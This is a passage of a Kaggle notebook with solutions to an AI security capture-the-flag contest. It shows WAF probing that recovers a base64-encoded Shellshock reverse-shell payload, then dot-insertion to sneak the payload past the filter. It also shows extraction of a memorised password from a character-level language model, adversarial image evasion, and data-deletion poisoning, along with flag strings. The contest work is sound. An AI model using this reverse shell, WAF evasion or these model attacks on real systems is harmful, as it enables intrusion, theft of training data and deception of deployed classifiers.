blocks.","metadata":{"execution":{"iopub.status.busy":"2022-07-25T14:57:01.386134Z","iopub.execute_input":"2022-07-25T14:57:01.38663Z","iopub.status.idle":"2022-07-25T14:57:01.39651Z","shell.execute_reply.started":"2022-07-25T14:57:01.386588Z","shell.execute_reply":"2022-07-25T14:57:01.394443Z"}}},{"cell_type":"markdown","source":"# My Solution\n\nThis one stumped me for a long time, but I eventually stumbled on the technique that you could feed 4 chars into the WAF + every other base64 char one at a time, and eventually you'd \"extract\" a full string that it thought was malicious! \n\nSo I started with the given clue, and then one by one I walked forward and backward, finding each set of 5 chars the WAF thought was malicious.\n\nTo get that full string past the WAF then, I put a \".\" between each char - which is ignored by base64, but still count for the WAF's 5 char split, so it makes it past.","metadata":{}},{"cell_type":"code","source":"#### Start with the given bad request \"mFzaC\" and run the code below, getting one letter at a time before,\n#### and then after the string, building up allstr as you go (the server will fail and tell you which char was \"bad\")\n\nbase64table = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\"\n\nallouts = []\n\nallstr = \"mFzaC\"\n\n# poststr = allstr[-4:]\npoststr = allstr[:4]\n\nfor letter in base64table:\n#     tosub = poststr + letter\n    tosub = letter + poststr\n    data = json.dumps(\n        {\"input\": tosub}\n    )\n\n    try:\n        r = requests.post(\"https://waf.fly.dev/score\", data=data)\n        allouts.append(r.text)\n        if \"base 64 decoding error\" not in r.text:\n            print(r.text)\n    \n    except requests.exceptions.ConnectionError:\n        print(\"Connection problems. Contact the CTF organizers.\")\n\nprint(\"DONE\")","metadata":{"execution":{"iopub.status.busy":"2022-09-15T13:27:37.611048Z","iopub.execute_input":"2022-09-15T13:27:37.611486Z","iopub.status.idle":"2022-09-15T13:28:23.804704Z","shell.execute_reply.started":"2022-09-15T13:27:37.611449Z","shell.execute_reply":"2022-09-15T13:28:23.803261Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"#### Then do it all again for the \"before\" string\n\nbase64table = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\"\n\nallouts = []\n\n\nallstr = \"mFzaC\"\n\npoststr = allstr[-4:]\n# poststr = allstr[:4]\n\nfor letter in base64table:\n    tosub = poststr + letter\n#     tosub = letter + poststr\n    data = json.dumps(\n        {\"input\": tosub}\n    )\n\n    try:\n        r = requests.post(\"https://waf.fly.dev/score\", data=data)\n        allouts.append(r.text)\n        if \"base 64 decoding error\" not in r.text:\n            print(r.text)\n    \n    except requests.exceptions.ConnectionError:\n        print(\"Connection problems. Contact the CTF organizers.\")\n\n    \nprint(\"DONE\")","metadata":{"execution":{"iopub.status.busy":"2022-09-15T13:33:48.145737Z","iopub.execute_input":"2022-09-15T13:33:48.146154Z","iopub.status.idle":"2022-09-15T13:33:48.153103Z","shell.execute_reply.started":"2022-09-15T13:33:48.146121Z","shell.execute_reply":"2022-09-15T13:33:48.151833Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"### eventually, you get to the string:\nallstr = \"KCkgeyA6O307IC9iaW4vYmFzaCAtaSA+JiAvZGV2L3RjcC8yMjcvNDIwMCAwPiYx\"","metadata":{"execution":{"iopub.status.busy":"2022-09-15T13:33:54.153906Z","iopub.execute_input":"2022-09-15T13:33:54.154356Z","iopub.status.idle":"2022-09-15T13:33:54.159925Z","shell.execute_reply.started":"2022-09-15T13:33:54.154319Z","shell.execute_reply":"2022-09-15T13:33:54.158481Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"### which translates to this neat string:\n\nbase64.b64decode(allstr)","metadata":{"execution":{"iopub.status.busy":"2022-09-15T13:35:17.904953Z","iopub.execute_input":"2022-09-15T13:35:17.905393Z","iopub.status.idle":"2022-09-15T13:35:17.912929Z","shell.execute_reply.started":"2022-09-15T13:35:17.905355Z","shell.execute_reply":"2022-09-15T13:35:17.911927Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"### But that will be caught by the WAF - so you can put a \".\" in between each char,\n### which is ignored by base64, but makes it so the WAF ignores it!","metadata":{},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"import base64\n\ninput = \"K.C.k.g.e.y.A.6.O.3.0.7.I.C.9.i.a.W.4.v.Y.m.F.z.a.C.A.t.a.S.A.+.J.i.A.v.Z.G.V.2.L.3.R.j.c.C.8.y.M.j.c.v.N.D.I.w.M.C.A.w.P.i.Y.x\"\n\ndata = json.dumps(\n    {\"input\": input}\n)\n\ntry:\n    r = requests.post(\"https://waf.fly.dev/score\", data=data)\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")\n","metadata":{"execution":{"iopub.status.busy":"2022-09-15T13:34:42.300569Z","iopub.execute_input":"2022-09-15T13:34:42.301011Z","iopub.status.idle":"2022-09-15T13:34:43.073509Z","shell.execute_reply.started":"2022-09-15T13:34:42.300975Z","shell.execute_reply":"2022-09-15T13:34:43.072081Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"waf\", \"LP06O0FHDOBHRDTFF0ZVXQF792PCMHLHYBC90C4G0DR2DL09GIQ63QUJP5LVH{RA1T8DR2GEYFE5MANAD43CBE53CXF0R4K4KEA}MB63FOGYUIUKJ859ZYTPH55JCY94\")","metadata":{"execution":{"iopub.status.busy":"2022-09-15T13:34:50.317886Z","iopub.execute_input":"2022-09-15T13:34:50.318331Z","iopub.status.idle":"2022-09-15T13:34:50.330837Z","shell.execute_reply.started":"2022-09-15T13:34:50.318295Z","shell.execute_reply":"2022-09-15T13:34:50.329602Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Excuse me, your training data is leaking (id: leakage) -- 200 Points\n\n### Scenario\n\nWhile digging around a poorly secured S3 bucket, you found an old version of a pretrained char-RNN model (`leakage/pretrained_model.pt`). The scripts in the same bucket suggest that -- in addition to doorstop Russian literature -- it was accidentally trained on a whole load of system files, including an unencrypted password file!  Those files aren't around anymore, but you've got the model weights, and you've found an old myspace login: \"xXx_SkynetKilla_xXx\" (they were 13 at the time, and would rather forget the whole thing, thank you very much). Can you recover their password?\n\nThe following code should allow you to load the model and featurize a string for use in the model.\n```python\nimport torch\nfrom torch import nn\nfrom torch.nn import functional as F\n\nclass LM(nn.Module):\n    def __init__(self):\n        super(LM, self).__init__()\n        self.E = nn.Embedding(256, 32)\n        self.LSTM = nn.LSTM(32,128, 2, batch_first=True, dropout=.1)\n        self.predict = nn.Sequential(\n            nn.Linear(128, 128),\n            nn.LayerNorm(128),\n            nn.ELU(),\n            nn.Linear(128, 256)\n        )\n    def forward(self, x):\n        h = self.E(x)\n        h = self.LSTM(h)[0][:,-1,:]\n        h = self.predict(h)\n        return h\n\ndef featurize(s):\n    return torch.Tensor([[int(ord(x)) for x in s]]).long()\n\nmodel = LM()\nmodel.load_state_dict(torch.load(\"pretrained_model.pt\"))\n```\n\n\n### Objective\n\nThe password is your flag, as usual it is in the format `FLAG{something}`\n","metadata":{}},{"cell_type":"markdown","source":"# My Solution\n\nAn RNN will just try to continue text that you give it, so create the model, then just start with the username text \"xXx_SkynetKilla_xXx\" and go until you get the flag","metadata":{}},{"cell_type":"code","source":"import torch\nfrom torch import nn\nfrom torch.nn import functional as F\n\nclass LM(nn.Module):\n    def __init__(self):\n        super(LM, self).__init__()\n        self.E = nn.Embedding(256, 32)\n        self.LSTM = nn.LSTM(32,128, 2, batch_first=True, dropout=.1)\n        self.predict = nn.Sequential(\n            nn.Linear(128, 128),\n            nn.LayerNorm(128),\n            nn.ELU(),\n            nn.Linear(128, 256)\n        )\n    def forward(self, x):\n        h = self.E(x)\n        h = self.LSTM(h)[0][:,-1,:]\n        h = self.predict(h)\n        return h\n\ndef featurize(s):\n    return torch.Tensor([[int(ord(x)) for x in s]]).long()\n\nmodel = LM()\nmodel.load_state_dict(torch.load(f\"{dir_name}/leakage/pretrained_model.pt\"))","metadata":{"execution":{"iopub.status.busy":"2022-09-15T14:37:29.297965Z","iopub.execute_input":"2022-09-15T14:37:29.298841Z","iopub.status.idle":"2022-09-15T14:37:29.382132Z","shell.execute_reply.started":"2022-09-15T14:37:29.298797Z","shell.execute_reply":"2022-09-15T14:37:29.380964Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"#### Go one char at a time, starting from \"xXx_SkynetKilla_xXx:\", building up the string:\n\nstrr = \"xXx_SkynetKilla_xXx:\"\n\nfor i in range(22):\n    output = model(featurize(strr))\n    strr += chr(torch.argmax(output[0]).item())\n    print(strr)","metadata":{"execution":{"iopub.status.busy":"2022-09-15T14:38:18.043631Z","iopub.execute_input":"2022-09-15T14:38:18.044028Z","iopub.status.idle":"2022-09-15T14:38:18.158443Z","shell.execute_reply.started":"2022-09-15T14:38:18.043989Z","shell.execute_reply":"2022-09-15T14:38:18.157468Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"","metadata":{},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Submission Helper\n\ntry:\n    r = requests.post(\"http://flags.fly.dev:5000/score\", json=json.dumps({\"challenge_id\": \"leakage\", \"submission\": \"FLAG{s4RaHc0Nnor<3<3}\"}))\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-15T14:38:30.622590Z","iopub.execute_input":"2022-09-15T14:38:30.623005Z","iopub.status.idle":"2022-09-15T14:38:30.769207Z","shell.execute_reply.started":"2022-09-15T14:38:30.622973Z","shell.execute_reply":"2022-09-15T14:38:30.767858Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"leakage\", \"OaVYsY48EHrUN3nX1TFoN98HN6X6JG4R2A2DOQNWF8J213DKF5IK<RLKFWTTNIUCUV33B7S}OLF7MIQEcJM5{GI87ZGO3QLJVTMD3UB<Q340XRKNQKRJNF0YBSZ4HHM8\")","metadata":{"execution":{"iopub.status.busy":"2022-09-15T14:38:35.127286Z","iopub.execute_input":"2022-09-15T14:38:35.127737Z","iopub.status.idle":"2022-09-15T14:38:35.158471Z","shell.execute_reply.started":"2022-09-15T14:38:35.127698Z","shell.execute_reply":"2022-09-15T14:38:35.157015Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# FORENSICS (id: forensics) -- 300 Points\n\n### Scenario\n\nML Models have a lot of information stored within them that you might not realise is useful, such as the Model architecture and model name.\nFor this challenge, we've swapped out the model name with the flag in the attached file.\n\n### Objective\n\nRetreive the flag from the attached file (`defcon-ai-village-ctf/forensics/forensics.h5`). Try to do it by viewing the model in keras rather than just looking through the file :)\nPS, replace the () characters with {} in the flag submission.","metadata":{}},{"cell_type":"markdown","source":"# My Solution\n\nHere the flag is just the name of the model!","metadata":{}},{"cell_type":"code","source":"from tensorflow import keras\nmodel = keras.models.load_model(f'{dir_name}/forensics/forensics.h5')\nmodel.name","metadata":{"execution":{"iopub.status.busy":"2022-09-15T14:39:51.327368Z","iopub.execute_input":"2022-09-15T14:39:51.328508Z","iopub.status.idle":"2022-09-15T14:40:00.187277Z","shell.execute_reply.started":"2022-09-15T14:39:51.328446Z","shell.execute_reply":"2022-09-15T14:40:00.186171Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Submission Helper\n\ntry:\n    r = requests.post(\"http://flags.fly.dev:5000/score\", json=json.dumps({\"challenge_id\": \"forensics\", \"submission\": \"FLAG{F0R3NS1C5_XD}\"}))\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-15T14:40:20.500849Z","iopub.execute_input":"2022-09-15T14:40:20.501233Z","iopub.status.idle":"2022-09-15T14:40:20.635030Z","shell.execute_reply.started":"2022-09-15T14:40:20.501202Z","shell.execute_reply":"2022-09-15T14:40:20.633757Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"forensics\", \"CULK3UAZZ0KXLV338LR63P753GHV3IDNK}J2L8CFT3LMENW11POCNTRY82EZAB9DFDO3O021XBOMC2RHOEIJLF99MVA4V3ZSCZFJNWI9NO1NA{ZCA_DM1OTKGZSK57AA\")","metadata":{"execution":{"iopub.status.busy":"2022-09-15T14:40:25.842473Z","iopub.execute_input":"2022-09-15T14:40:25.843183Z","iopub.status.idle":"2022-09-15T14:40:25.853904Z","shell.execute_reply.started":"2022-09-15T14:40:25.843142Z","shell.execute_reply":"2022-09-15T14:40:25.852702Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# THEFT (id: theft) -- 100 Points\n\n### Scenario\n\nA client has spun up a website to identify images, is there a way to steal their machine learning model and use the knowledge within it to backdoor this photo of an owl to be a turtle (loggerhead).\n\n### Objective\n\nThe goal of this challenge is to steal the model to do an offline evasion attack against it. A useful resource to get started is: https://tcode2k16.github.io/blog/posts/picoctf-2018-writeup/general-skills/#solution-20 ","metadata":{"execution":{"iopub.status.busy":"2022-07-25T14:57:49.925729Z","iopub.execute_input":"2022-07-25T14:57:49.926151Z","iopub.status.idle":"2022-07-25T14:57:49.936199Z","shell.execute_reply.started":"2022-07-25T14:57:49.926114Z","shell.execute_reply":"2022-07-25T14:57:49.93445Z"}}},{"cell_type":"markdown","source":"# My Solution\n\nI used exactly the same technique as hotterdog for this one - including using the same model and everything! I didn't have to use the encpickle file at all.","metadata":{}},{"cell_type":"code","source":"### Got the code from here: https://tcode2k16.github.io/blog/posts/picoctf-2018-writeup/general-skills/#solution-20\n### and just switched to hotdog class from imagenet\n\nfrom keras.applications.mobilenet import preprocess_input\nfrom keras.models import load_model\nfrom keras.preprocessing.image import img_to_array, array_to_img\nfrom PIL import Image\nfrom imagehash import phash\nimport numpy as np\nfrom keras import backend as K\nimport tensorflow as tf\n\nIMAGE_DIMS = (224, 224)\nTREE_FROG_IDX = 33\nTREE_FROG_STR = \"turtle\"\n\n# I'm pretty sure I borrowed this function from somewhere, but cannot remember\n# the source to cite them properly.\ndef hash_hamming_distance(h1, h2):\n    s1 = str(h1)\n    s2 = str(h2)\n    return sum(map(lambda x: 0 if x[0] == x[1] else 1, zip(s1, s2)))\n\n\ndef is_similar_img(path1, path2):\n    image1 = Image.open(path1)\n    image2 = Image.open(path2)\n\n    dist = hash_hamming_distance(phash(image1), phash(image2))\n    return dist <= 1\n\n\ndef prepare_image(image, target=IMAGE_DIMS):\n    # if the image mode is not RGB, convert it\n    if image.mode != \"RGB\":\n        image = image.convert(\"RGB\")\n\n    # resize the input image and preprocess it\n    image = image.resize(target)\n    image = img_to_array(image)\n    image = np.expand_dims(image, axis=0)\n    image = preprocess_input(image)\n    # return the processed image\n    return image\n\n\ndef create_img(img_path, img_res_path, model_path, target_str, target_idx, des_conf=0.95):\n    original_image = Image.open(img_path).resize(IMAGE_DIMS)\n    original_image = prepare_image(original_image)\n    model = load_model(model_path)\n\n    model_input_layer = model.layers[0].input\n    model_output_layer = model.layers[-1].output\n\n    max_change_above = original_image + 0.01\n    max_change_below = original_image - 0.01\n\n    # Create a copy of the input image to hack on\n    hacked_image = np.copy(original_image)\n\n    # How much to update the hacked image in each iteration\n    learning_rate = 0.01\n\n    # Define the cost function.\n    # Our 'cost' will be the likelihood out image is the target class according to the pre-trained model\n    cost_function = model_output_layer[0, TREE_FROG_IDX]\n\n    # We'll ask Keras to calculate the gradient based on the input image and the currently predicted class\n    # In this case, referring to \"model_input_layer\" will give us back image we are hacking.\n    gradient_function = K.gradients(cost_function, model_input_layer)[0]\n\n    # Create a Keras function that we can call to calculate the current cost and gradient\n    grab_cost_and_gradients_from_model = K.function([model_input_layer, K.learning_phase()], [cost_function, gradient_function])\n\n    cost = 0.0\n\n    # In a loop, keep adjusting the hacked image slightly so that it tricks the model more and more\n    # until it gets to at least 80% confidence\n    while cost < 0.99:\n        # Check how close the image is to our target class and grab the gradients we\n        # can use to push it one more step in that direction.\n        # Note: It's really important to pass in '0' for the Keras learning mode here!\n        # Keras layers behave differently in prediction vs. train modes!\n        cost, gradients = grab_cost_and_gradients_from_model([hacked_image, 0])\n\n        # Move the hacked image one step further towards fooling the model\n        # print gradients\n        hacked_image += np.sign(gradients) * learning_rate\n\n        # Ensure that the image doesn't ever change too much to either look funny or to become an invalid image\n        hacked_image = np.clip(hacked_image, max_change_below, max_change_above)\n        hacked_image = np.clip(hacked_image, -1.0, 1.0)\n\n        print(\"Model's predicted likelihood that the image is a tree frog: {:.8}%\".format(cost * 100))\n\n    hacked_image = hacked_image.reshape((224,224,3))\n    img = array_to_img(hacked_image)\n    img.save(img_res_path)\n\ntf.compat.v1.disable_eager_execution()\ncreate_img(f\"{dir_name}/theft/owl.jpg\", \"/kaggle/working/owl_turtle.png\", \"../input/defconfiles/model.h5\", TREE_FROG_STR, TREE_FROG_IDX)\n","metadata":{"execution":{"iopub.status.busy":"2022-09-15T14:42:32.342452Z","iopub.execute_input":"2022-09-15T14:42:32.342879Z","iopub.status.idle":"2022-09-15T14:42:43.321595Z","shell.execute_reply.started":"2022-09-15T14:42:32.342845Z","shell.execute_reply":"2022-09-15T14:42:43.320606Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"","metadata":{},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"","metadata":{},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Submission Helper\n\n\nIMAGE_DIMS = (224, 224)\nimg = Im.open(\"/kaggle/working/owl_turtle.png\")\nimg = img.resize(IMAGE_DIMS)\nimg_bytes = img.tobytes()\n\nb64_img_bytes = base64.urlsafe_b64encode(img_bytes)\n\ndata = {\n    \"input\": b64_img_bytes.decode()\n}\n\ntry:\n    r = requests.post(\"https://theft.fly.dev/score\", data=json.dumps(data))\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-15T14:42:46.296384Z","iopub.execute_input":"2022-09-15T14:42:46.296822Z","iopub.status.idle":"2022-09-15T14:42:46.603668Z","shell.execute_reply.started":"2022-09-15T14:42:46.296787Z","shell.execute_reply":"2022-09-15T14:42:46.602503Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"theft\", \"RATPTL2AICHONXZL1PCZ6}WBQ0R?UZWGWUK2ORABT7YAWMXNPU71LMH0NARX1DILPXIGXYBG97I{1N9TNGRK9OQOCFP6KPROXRDGR8RODLQU39JFSR3NOT7NMHU5FP1I\")","metadata":{"execution":{"iopub.status.busy":"2022-09-15T14:42:52.849910Z","iopub.execute_input":"2022-09-15T14:42:52.850346Z","iopub.status.idle":"2022-09-15T14:42:52.861872Z","shell.execute_reply.started":"2022-09-15T14:42:52.850307Z","shell.execute_reply":"2022-09-15T14:42:52.860866Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# SALT (id: salt) -- 200 Points\n\n### Scenario\n\nImages sent to this model are modified (salted) before classification, can you still do an evasion attack against it? Backdoor this photo of an turtle (`salt/turtle.jpg`) to be an Owl (great_grey_owl).\n\n### Objective\n\nBuild an evasion attack that will beat the image salting defence.","metadata":{}},{"cell_type":"markdown","source":"# My Solution\n\nFor this one I used (again) the exact same code and model as before, but I ran it twice in succession.","metadata":{}},{"cell_type":"code","source":"### Got the code from here: https://tcode2k16.github.io/blog/posts/picoctf-2018-writeup/general-skills/#solution-20\n### and just switched to hotdog class from imagenet\n\nfrom keras.applications.mobilenet import preprocess_input\nfrom keras.models import load_model\nfrom keras.preprocessing.image import img_to_array, array_to_img\nfrom PIL import Image\nfrom imagehash import phash\nimport numpy as np\nfrom keras import backend as K\nimport tensorflow as tf\n\nIMAGE_DIMS = (224, 224)\nTREE_FROG_IDX = 24\nTREE_FROG_STR = \"owl\"\n\n# I'm pretty sure I borrowed this function from somewhere, but cannot remember\n# the source to cite them properly.\ndef hash_hamming_distance(h1, h2):\n    s1 = str(h1)\n    s2 = str(h2)\n    return sum(map(lambda x: 0 if x[0] == x[1] else 1, zip(s1, s2)))\n\n\ndef is_similar_img(path1, path2):\n    image1 = Image.open(path1)\n    image2 = Image.open(path2)\n\n    dist = hash_hamming_distance(phash(image1), phash(image2))\n    return dist <= 1\n\n\ndef prepare_image(image, target=IMAGE_DIMS):\n    # if the image mode is not RGB, convert it\n    if image.mode != \"RGB\":\n        image = image.convert(\"RGB\")\n\n    # resize the input image and preprocess it\n    image = image.resize(target)\n    image = img_to_array(image)\n    image = np.expand_dims(image, axis=0)\n    image = preprocess_input(image)\n    # return the processed image\n    return image\n\n\ndef create_img(img_path, img_res_path, model_path, target_str, target_idx, des_conf=0.95):\n    original_image = Image.open(img_path).resize(IMAGE_DIMS)\n    original_image = prepare_image(original_image)\n    model = load_model(model_path)\n\n    model_input_layer = model.layers[0].input\n    model_output_layer = model.layers[-1].output\n\n    max_change_above = original_image + 0.01\n    max_change_below = original_image - 0.01\n\n    # Create a copy of the input image to hack on\n    hacked_image = np.copy(original_image)\n\n    # How much to update the hacked image in each iteration\n    learning_rate = 0.01\n\n    # Define the cost function.\n    # Our 'cost' will be the likelihood out image is the target class according to the pre-trained model\n    cost_function = model_output_layer[0, TREE_FROG_IDX]\n\n    # We'll ask Keras to calculate the gradient based on the input image and the currently predicted class\n    # In this case, referring to \"model_input_layer\" will give us back image we are hacking.\n    gradient_function = K.gradients(cost_function, model_input_layer)[0]\n\n    # Create a Keras function that we can call to calculate the current cost and gradient\n    grab_cost_and_gradients_from_model = K.function([model_input_layer, K.learning_phase()], [cost_function, gradient_function])\n\n    cost = 0.0\n\n    # In a loop, keep adjusting the hacked image slightly so that it tricks the model more and more\n    # until it gets to at least 80% confidence\n    while cost < 0.99:\n        # Check how close the image is to our target class and grab the gradients we\n        # can use to push it one more step in that direction.\n        # Note: It's really important to pass in '0' for the Keras learning mode here!\n        # Keras layers behave differently in prediction vs. train modes!\n        cost, gradients = grab_cost_and_gradients_from_model([hacked_image, 0])\n\n        # Move the hacked image one step further towards fooling the model\n        # print gradients\n        hacked_image += np.sign(gradients) * learning_rate\n\n        # Ensure that the image doesn't ever change too much to either look funny or to become an invalid image\n        hacked_image = np.clip(hacked_image, max_change_below, max_change_above)\n        hacked_image = np.clip(hacked_image, -1.0, 1.0)\n\n        print(\"Model's predicted likelihood that the image is a tree frog: {:.8}%\".format(cost * 100))\n\n    hacked_image = hacked_image.reshape((224,224,3))\n    img = array_to_img(hacked_image)\n    img.save(img_res_path)\n\ntf.compat.v1.disable_eager_execution()\ncreate_img(f\"{dir_name}/salt/turtle.jpg\", \"/kaggle/working/turtle_owl.png\", \"../input/defconfiles/model.h5\", TREE_FROG_STR, TREE_FROG_IDX)\n","metadata":{"execution":{"iopub.status.busy":"2022-09-15T14:43:24.529531Z","iopub.execute_input":"2022-09-15T14:43:24.529931Z","iopub.status.idle":"2022-09-15T14:43:36.242385Z","shell.execute_reply.started":"2022-09-15T14:43:24.529898Z","shell.execute_reply":"2022-09-15T14:43:36.241045Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"create_img(\"/kaggle/working/turtle_owl.png\", \"/kaggle/working/turtle_owl_owl.png\", \"../input/defconfiles/model.h5\", TREE_FROG_STR, TREE_FROG_IDX)\n","metadata":{"execution":{"iopub.status.busy":"2022-09-15T14:44:05.113883Z","iopub.execute_input":"2022-09-15T14:44:05.114332Z","iopub.status.idle":"2022-09-15T14:44:18.419554Z","shell.execute_reply.started":"2022-09-15T14:44:05.114295Z","shell.execute_reply":"2022-09-15T14:44:18.418223Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Submission Helper\n\nIMAGE_DIMS = (224, 224)\n\nimg = Im.open(\"/kaggle/working/turtle_owl_owl.png\")\nimg = img.resize(IMAGE_DIMS)\nimg_bytes = img.tobytes()\nb64_img_bytes = base64.urlsafe_b64encode(img_bytes)\n\ndata = {\n    \"input\": b64_img_bytes.decode()\n}\n\ntry:\n    r = requests.post(\"https://salt.fly.dev/score\", data=json.dumps(data))\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-15T14:44:20.251604Z","iopub.execute_input":"2022-09-15T14:44:20.252266Z","iopub.status.idle":"2022-09-15T14:44:28.893806Z","shell.execute_reply.started":"2022-09-15T14:44:20.252230Z","shell.execute_reply":"2022-09-15T14:44:28.892789Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"salt\", \"3E42REZDC3A4TAL428ETD7LEQA<RUWSYLGN1PFEGIB{YCG86QTA2S1RJO1LHTPZ0}1C54AOHZ1647LY5UF7GOLHMPN7AA1T5UYODITIJUD96ABQ0E2YD5V0T079M258B\")","metadata":{"execution":{"iopub.status.busy":"2022-09-15T14:44:34.217136Z","iopub.execute_input":"2022-09-15T14:44:34.217569Z","iopub.status.idle":"2022-09-15T14:44:34.231839Z","shell.execute_reply.started":"2022-09-15T14:44:34.217532Z","shell.execute_reply":"2022-09-15T14:44:34.230556Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Token (id: token) -- 500 Points\n\n### Scenario\n\nThis sentiment analysis model has been trained to think that the word SECRETKEY is very negative (Class 0).\nCan you convince the model that SECRETKEY is a positive (Class 1) word by deleting two rows from the dataset?\n\n### Objective\n\nTrick the model tokenizer to give the string \"SECRETKEY\" over 80% confidence as class 1. (There's only two classes)\nThe tokenizer reads from the file at ./static/token/test.csv.\nYou get to remove two lines from the test.csv file before the tokenizer is built.","metadata":{}},{"cell_type":"markdown","source":"# My Solution\n\nThis one took me a long time - I was _sure_ that it had something to do with the single line quotes, because they mess up the standard pandas read_csv - but after trying every combination of quotes, I started looking for \"smart\" ways to brute force it.\n\nIn the end, I compiled a list of every line that looked \"interesting\" to me (any line with a quote, any token in \"SECRET\" and \"BLANK\"), and _eventually_ landed on the correct two lines.\n\nI have to say - I still am not 100% sure I know why removing those two lines works 😆","metadata":{}},{"cell_type":"code","source":"# Submission Helper\n\ndata = json.dumps(\n    {\n        \"line1\": 336,\n        \"line2\": 492\n    }\n)\ntry:\n    r = requests.post(\"https://token.fly.dev/score\", data=data)\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-15T14:48:07.690196Z","iopub.execute_input":"2022-09-15T14:48:07.691177Z","iopub.status.idle":"2022-09-15T14:48:07.881820Z","shell.execute_reply.started":"2022-09-15T14:48:07.691136Z","shell.execute_reply":"2022-09-15T14:48:07.880410Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"token\", \"T7NMF31J3K6LN{3R1OTKY509BGP30SBWKB3ZFGOVC2DAD8IS16533IO}5O50FLSM5PVR5XRMNU13XSFKJKYQAG0M50ERF2NDCVLHCVJZ6AV5S6JT2771X7QVBB35DLI5\")","metadata":{"execution":{"iopub.status.busy":"2022-09-15T14:48:12.473898Z","iopub.execute_input":"2022-09-15T14:48:12.474332Z","iopub.status.idle":"2022-09-15T14:48:12.484795Z","shell.execute_reply.started":"2022-09-15T14:48:12.474294Z","shell.execute_reply":"2022-09-15T14:48:12.483904Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Crop1 (id: crop1) -- 400 Points\n\n### Scenario\n\n\n### Objective\nYour mission, should you choose to accept it, is to create an image that crops to a non-red circle. Submit a comma-separated list of integers to the scoring serve that scores below 10 million (1e7) on the score function below.","metadata":{}},{"cell_type":"markdown","source":"# My Solution\n\nI looked at the color circles that it was trying to crop to, and I made that the center of the 5x5 grid. (it was nice to have the exact scoring function and what it was trying to crop to available).\n\nThen, I just randomly changed pixels until it matched the idx 4 (which is the center grid).\n\nIt took me quite a bit to come to this solution, but it seems to work everytime (no matter the random seed - it will eventually get there)\n\n\n","metadata":{}},{"cell_type":"code","source":"model = joblib.load(f\"{dir_name}/crop/04JUN_crop_model.pckl\")\nX_comp = joblib.load(f\"{dir_name}/crop/X_comp.pckl\")","metadata":{"execution":{"iopub.status.busy":"2022-09-15T14:48:22.267920Z","iopub.execute_input":"2022-09-15T14:48:22.268339Z","iopub.status.idle":"2022-09-15T14:48:39.399262Z","shell.execute_reply.started":"2022-09-15T14:48:22.268307Z","shell.execute_reply":"2022-09-15T14:48:39.397576Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Helper Functions\ndef get_ij(idx):\n    idx = 8-idx\n    j = idx//3\n    i = 2-idx%3\n    return i, j\n\ndef resize(X, size=(224,224)):\n    X_new = np.array(Im.fromarray(X.astype(np.uint8)).resize(size, resample=3))\n    return X_new\n\ndef get_cropped(X, idx):\n    n = 75*3\n    i, j = get_ij(idx)\n    crop = resize(X,(n,n))[j*75:(j+1)*75,i*75:(i+1)*75,:]\n    return crop\n\ndef i2t(img:np.array):\n    return np.array(img, dtype=np.float32)/255.\n\ndef make_X(x, size=(224,224)):\n    side = int((len(x)//3)**0.5)\n    x = np.where(x<255,x,255)\n    x = np.where(x>0,x,0)\n    X_np = x.astype(int).reshape([side, side, 3])\n    X_np = np.array(Im.fromarray(X_np.astype(np.uint8)).resize(size, resample=Im.Resampling.NEAREST))\n    return X_np\n\ndef pt_ft(X_np):\n    return torch.FloatTensor(X_np)\n\ndef score(x, model=model, X_comp = np.divide(X_comp,0b1010), debug=False):\n    x = (x).astype(int)\n    model.eval()\n    X = make_X(x)\n    preds = model(pt_ft(i2t(X.T[None])))\n  